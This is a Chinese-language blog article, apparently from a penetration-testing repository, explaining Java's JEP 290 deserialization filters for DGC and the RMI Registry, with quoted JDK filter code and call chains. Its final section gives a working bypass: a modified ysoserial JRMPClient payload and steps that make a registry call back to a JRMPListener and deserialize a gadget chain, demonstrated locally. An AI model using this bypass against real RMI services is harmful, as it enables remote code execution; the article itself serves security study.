Files
Penetration_Testing_POC/books/漏洞篇 - 关于 JEP 290.md

15 KiB
Raw Permalink Blame History

漏洞篇 - 关于 JEP 290

2024-09-08 来源:https://changeyourway.github.io/2024/09/08/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-%E5%85%B3%E4%BA%8EJEP290/

JEP 290

JEP290 是 Java 底层为了缓解反序列化攻击提出的一种解决方案。这是一个针对 JAVA 9 提出的安全特性,但同时对 JDK 6,7,8 都进行了支持,在 JDK 6u141、JDK 7u131、JDK 8u121 版本进行了更新。

JEP 290 主要提供了以下几个机制:

  • 用黑白名单的方式限制可反序列化的类;
  • 限制反序列化的调用深度和复杂度;
  • 为 RMI export 的对象设置了验证机制;
  • 提供一个全局过滤器,可以在 properties 或配置文件中进行配置;

现在使用 JDK 8u392 ,再次运行 ysoserial 中的 payloads/JRMPListener 和 exploit/JRMPClient ,会爆出如下错误:

这在我之前的分析文章中也提到过,是由于 JEP 290 机制阻止了我反序列化 HashSet 类。

从报错信息中,可以发现一个 ObjectInputFilter 接口,其中定义了三种状态,分别是未定义、接受和拒绝:

另外从报错信息中发现 ObjectInputStream 有一个 filterCheck 方法,这个方法与反序列化的检查相关:

private void filterCheck(Class<?> clazz, int arrayLength)
        throws InvalidClassException {
    if (serialFilter != null) {
        RuntimeException ex = null;
        ObjectInputFilter.Status status;
        // Info about the stream is not available if overridden by subclass, return 0
        long bytesRead = (bin == null) ? 0 : bin.getBytesRead();
        try {
            status = serialFilter.checkInput(new FilterValues(clazz, arrayLength,
                    totalObjectRefs, depth, bytesRead));
        } catch (RuntimeException e) {
            // Preventive interception of an exception to log
            status = ObjectInputFilter.Status.REJECTED;
            ex = e;
        }
        if (status == null  ||
                status == ObjectInputFilter.Status.REJECTED) {
            // Debug logging of filter checks that fail
            if (Logging.infoLogger != null) {
                Logging.infoLogger.info(
                        "ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}",
                        status, clazz, arrayLength, totalObjectRefs, depth, bytesRead,
                        Objects.toString(ex, "n/a"));
            }
            InvalidClassException ice = new InvalidClassException("filter status: " + status);
            ice.initCause(ex);
            throw ice;
        } else {
            // Trace logging for those that succeed
            if (Logging.traceLogger != null) {
                Logging.traceLogger.finer(
                        "ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}",
                        status, clazz, arrayLength, totalObjectRefs, depth, bytesRead,
                        Objects.toString(ex, "n/a"));
            }
        }
    }
}

对于 DGC 的影响

具体体现在为 DGCImpl 新增了一个 checkInput 方法:

private static ObjectInputFilter.Status checkInput(ObjectInputFilter.FilterInfo filterInfo) {
    if (dgcFilter != null) {
        ObjectInputFilter.Status status = dgcFilter.checkInput(filterInfo);
        if (status != ObjectInputFilter.Status.UNDECIDED) {
            // The DGC filter can override the built-in white-list
            return status;
        }
    }

    if (filterInfo.depth() > DGC_MAX_DEPTH) {
        return ObjectInputFilter.Status.REJECTED;
    }
    Class<?> clazz = filterInfo.serialClass();
    if (clazz != null) {
        while (clazz.isArray()) {
            if (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > DGC_MAX_ARRAY_SIZE) {
                return ObjectInputFilter.Status.REJECTED;
            }
            // Arrays are allowed depending on the component type
            clazz = clazz.getComponentType();
        }
        if (clazz.isPrimitive()) {
            // Arrays of primitives are allowed
            return ObjectInputFilter.Status.ALLOWED;
        }
        return (clazz == ObjID.class ||
                clazz == UID.class ||
                clazz == VMID.class ||
                clazz == Lease.class)
                ? ObjectInputFilter.Status.ALLOWED
                : ObjectInputFilter.Status.REJECTED;
    }
    // Not a class, not size limited
    return ObjectInputFilter.Status.UNDECIDED;
}
  • 如果定义了外部过滤器 dgcFilter,首先调用它进行判断。外部过滤器的优先级更高。
  • 使用 DGC_MAX_DEPTH 和 DGC_MAX_ARRAY_SIZE 来限制深度和数组大小。
  • 只有白名单类( ObjIDUID,VMID,Lease )允许被反序列化。

在 JDK 8u392 版本中,当我们尝试用 exploit/JRMPClient 攻击一个 RMI 服务端时,服务端的处理逻辑如下:

TCPTransport#handleMessages(Connection, boolean)
Transport#serviceCall(RemoteCall)
UnicastServerRef#dispatch(Remote, RemoteCall)
UnicastServerRef#oldDispatch(Remote, RemoteCall, int)
DGCImpl_Skel#dispatch(java.rmi.Remote, java.rmi.server.RemoteCall, int, long)

然后会在这里调用 ObjectInputStream 的 readObject 方法:

跟进 ObjectInputStream#readObject()

跟进 ObjectInputStream#readObject(Class)

这里会调用 readObject0 方法。

跟进 ObjectInputStream#readObject0(Class, boolean) readObject0 是一个用于反序列化 Java 对象的内部方法。它负责从输入流中读取不同类型的对象数据,并根据特定的标记(type codes)进行相应的处理和反序列化操作。当读取到的 type code 为 TC_OBJECT(表示普通对象)时,会进行如下操作:

跟进 ObjectInputStream#readOrdinaryObject(boolean),这个方法用于读取并返回普通对象:

跟进 ObjectInputStream#readClassDesc(boolean) ,这个方法用于返回一个类描述符:

进入非动态代理类的情况,调用 readNonProxyDesc 来获取类描述符。

跟进 ObjectInputStream#readNonProxyDesc(boolean) ,经过了一系列操作后,调用了 filterCheck 方法,就是我们一开始提到的那个:

跟进 ObjectInputStream#filterCheck(Class, int)

在这里调用 serialFilter.checkInput ,也就是 DGCImpl 的 checkInput 方法,完成闭环。

调用链总结

服务端处理的调用链如下:

DGCImpl_Skel#dispatch(java.rmi.Remote, java.rmi.server.RemoteCall, int, long)
ObjectInputStream#readObject()
ObjectInputStream#readObject(Class<?>)
ObjectInputStream#readObject0(Class<?>, boolean)
ObjectInputStream#readOrdinaryObject(boolean)
ObjectInputStream#readClassDesc(boolean) 
ObjectInputStream#readNonProxyDesc(boolean)
ObjectInputStream#filterCheck(Class<?>, int)
DGCImpl#checkInput(ObjectInputFilter.FilterInfo)

对于 RMI 的影响

具体体现在为 RegistryImpl 类添加了一个 registryFilter 方法:

private static ObjectInputFilter.Status registryFilter(ObjectInputFilter.FilterInfo filterInfo) {
    if (registryFilter != null) {
        ObjectInputFilter.Status status = registryFilter.checkInput(filterInfo);
        if (status != ObjectInputFilter.Status.UNDECIDED) {
            // The Registry filter can override the built-in white-list
            return status;
        }
    }

    if (filterInfo.depth() > REGISTRY_MAX_DEPTH) {
        return ObjectInputFilter.Status.REJECTED;
    }
    Class<?> clazz = filterInfo.serialClass();
    if (clazz != null) {
        if (clazz.isArray()) {
            // Arrays are REJECTED only if they exceed the limit
            return (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > REGISTRY_MAX_ARRAY_SIZE)
                ? ObjectInputFilter.Status.REJECTED
                : ObjectInputFilter.Status.UNDECIDED;
        }
        if (String.class == clazz
                || java.lang.Number.class.isAssignableFrom(clazz)
                || Remote.class.isAssignableFrom(clazz)
                || java.lang.reflect.Proxy.class.isAssignableFrom(clazz)
                || UnicastRef.class.isAssignableFrom(clazz)
                || RMIClientSocketFactory.class.isAssignableFrom(clazz)
                || RMIServerSocketFactory.class.isAssignableFrom(clazz)
                || java.rmi.activation.ActivationID.class.isAssignableFrom(clazz)
                || java.rmi.server.UID.class.isAssignableFrom(clazz)) {
            return ObjectInputFilter.Status.ALLOWED;
        } else {
            return ObjectInputFilter.Status.REJECTED;
        }
    }
    return ObjectInputFilter.Status.UNDECIDED;
}
  1. 如果存在一个全局的 registryFilter,那么会调用它的 checkInput 方法来检查是否允许反序列化当前对象。外部的 registryFilter 拥有高优先级,它可以覆盖接下来定义的内置白名单规则。

  2. 使用 REGISTRY_MAX_DEPTH 和 REGISTRY_MAX_ARRAY_SIZE 来限制深度和数组大小。

  3. 以及定义了一个明确的白名单,,如果反序列化对象的类型属于这个白名单中的类,则允许反序列化(ALLOWED)。

其调用链与 DGC 相似,只不过是在 RegistryImpl_Skel 的 dispatch 方法触发。不过值得注意的是,这个方法只对 bind 和 rebind 的处理逻辑有反序列化的操作。

bind 的处理逻辑:

rebind 的处理逻辑:

而对其他方法比如 list、lookup、unbind 的处理逻辑则是没有调用 readObject 方法的。**也就是说这个新增的机制只影响 Server 端对 Registry 端的攻击,对其他的攻击没有影响。具体来说,就是只影响 bind 和 rebind 方法的结果。**之前提到的针对 Server 端和 Client 端的攻击依然可行。

调用链总结

还是总结一下 Registry 端的处理逻辑:

RegistryImpl_Skel#dispatch(java.rmi.Remote, java.rmi.server.RemoteCall, int, long)
ObjectInputStream#readObject()
ObjectInputStream#readObject(Class<?>)
ObjectInputStream#readObject0(Class<?>, boolean)
ObjectInputStream#readOrdinaryObject(boolean)
ObjectInputStream#readClassDesc(boolean)
ObjectInputStream#readProxyDesc(boolean)
ObjectInputStream#filterCheck(Class<?>, int)
RegistryImpl#registryFilter(ObjectInputFilter.FilterInfo)

除了中间调用的是 readProxyDesc 而不是 readNonProxyDesc 以外,跟 DGC 服务端的处理逻辑大差不差。

绕过分析

在白名单操作之后,Server 端想要向 Registry 端直接绑定一个 CC 链之类的恶意对象就不行了,但是之前提到的 RemoteObject + UnicastRef 还是可以用的。ysoserial 中的 exploit/JRMPListener 和 payloads/JRMPClient 就是对这一块的实现。

JDK 8u202 环境下,如果存在一个 Registry 端:

Registry registry = LocateRegistry.createRegistry(1099);

那么就可以针对它展开攻击:

  1. 首先开启 exploit/JRMPListener 服务端,它的作用是当收到 DGC 请求时会返回 BadAttributeValueExpException 异常类,与 CC 有关的 payload 就被放置在这个异常类当中。

  2. 然后我们可以向 Registry 端 bind 一个 UnicastRef 对象,这个对象在白名单之中,它被反序列化时,会向其中指定的地址发起 DGC 调用请求。但是由于绑定的对象必须要继承 Remote 接口,所以利用 RemoteObjectInvocationHandler 为这个 UnicastRef 对象创建一个 Registry 代理类,Registry 继承了 Remote ,所以这个代理类可以被顺利绑定。

  3. 于是 Registry 端收到 exploit/JRMPListener 发来的异常,造成反序列化攻击。

修改后的 payloads/JRMPClient 用来实现第二步:

package ysoserial.payloads;

import java.lang.reflect.Proxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {

    public Registry getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
            Registry.class
        }, obj);
        return proxy;
    }


    public static void main ( final String[] args ) throws Exception {
        JRMPClient jrmpClient = new JRMPClient();
        // exploit/JRMPListener 开启监听的端口是 7777  
        Registry proxy = jrmpClient.getObject("127.0.0.1:7777");
        Registry reg = LocateRegistry.getRegistry("localhost",1099);
        reg.rebind("hello", proxy);
    }
}

运行 Registry 端,运行 exploit/JRMPListener ,最后运行 payloads/JRMPClient ,就可以完成对 Registry 端的攻击。

会一直弹出计算器,是因为 Registry 端不断地在向 exploit/JRMPListener 发起 DGC 调用请求,不断地收到异常类:

不过值得注意的是,上面的代码在更高一点的版本比如 8u392 就运行不成功,看来是过滤的更严格了:

参考文章

浅谈 JEP290

Java RMI 攻击由浅入深

RMI:绕过 JEP290 —— 上

RMI:绕过 JEP290 —— 中